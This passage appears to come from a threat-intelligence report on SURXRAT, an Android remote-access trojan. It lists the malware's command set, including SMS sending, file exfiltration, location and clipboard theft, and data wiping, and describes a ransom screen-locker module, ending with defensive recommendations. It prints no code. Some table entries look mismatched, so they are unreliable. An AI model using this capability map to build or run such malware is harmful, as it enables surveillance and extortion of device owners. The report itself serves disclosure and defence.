Sends SMSs from the infected device
tts
Execute text to speech
call
Makes a call from the infected device
toast
Display a toast message
vibrate
Remotely vibrates the device
file_delete
Deletes file
location
Collects the victim’s location
file_upload
Sends file to the server
RAT Commands
Description
access
Collects clipboard data
unlock
Remove locks
app
Sync app list
Cal
Dail calls
fla
Handles flashlight
for
Wipe data
Mus
Play music
Not
Send System update notification
url
Opens URL
vib
Vibrates device
voi
Executes text-to-speech
wal
Changes wallpapers
Brow
Collects browser history
Cell
Collects the device’s cell info
Lock
Execute the Screen Locker feature
wifih
Collect Wi-Fi history
wifis
Execute text-to-speech
The figure below shows the admin panel image shared on the threat actor’s Telegram account, highlighting the various actions and controls available through SURXRAT.
Figure 9 – SURXRAT admin panel
Screen Locker Activity
The SURXRAT sample also contains a ransomware-style screen locker module that allows a remote attacker to seize control of the victim’s device and temporarily deny access to it. When activated, the malware forces the device to display a persistent full-screen lock message that the user cannot easily dismiss. The attacker can remotely customize both the displayed message and the unlock PIN, enabling them to demand a ransom payment directly from the victim.
Figure 10 – Screen Locker activity
The malware continuously reports user interactions back to the attacker’s server. Each incorrect PIN entry is transmitted to the backend, allowing the operator to monitor victim behavior and response attempts in real time. The lock screen can also be remotely removed by the attacker, giving them complete control over when the device becomes usable again. Overall, this functionality appears intended to coerce victims through disruption and intimidation, ultimately facilitating ransom-based monetization.
Figure 11 – Malware sends a wrong attempts log
The integration of ransomware-style locking into a surveillance RAT indicates hybrid monetization, allowing operators to switch between espionage, fraud, and direct extortion based on the value of the victim.
Conclusion
SURXRAT represents a notable evolution in Android malware, combining MaaS-style commercialization, cloud-based command infrastructure, and modular capabilities into a single adaptable threat platform. The malware’s extensive surveillance features, real-time remote control functions, and ransomware-style device locking demonstrate a shift toward multi-functional mobile threats designed for flexible monetization.
The observed experimentation with large AI model integration further indicates that threat actors are actively exploring emerging technologies to enhance operational effectiveness and evade detection. As Android malware ecosystems continue to mature, threats like SURXRAT highlight the increasing accessibility of advanced mobile attack capabilities to a broader cybercriminal audience, reinforcing the need for improved mobile threat visibility, behavioral detection, and user awareness.
Prevention is ideal, but it isn’t always an option. Threat Intelligence platforms such as Cyble Vision provide users with insight into their digital risk profile and can notify them of any breaches or unauthorized access, enabling them to take immediate corrective action.
Our Recommendations
We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:
Install Apps Only from Trusted Sources: Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
Be Cautious with Permissions and Installs: Never grant permissions and install an application unless you’re certain of an app’s legitimacy.
Watch for Phishing Pages: Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
Enable Multi-Factor Authentication (MFA): Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
Report Suspicious Activity: If you suspect you’ve been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
Use Mobile Security Solutions: Install a mobile security application that includes real-time scanning.
Keep Your Device Updated: Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.
The IOCs have been added to this GitHub repository. Please review and integrate them into your Threat Intelligence feed to enhance protection and improve your overall security posture.
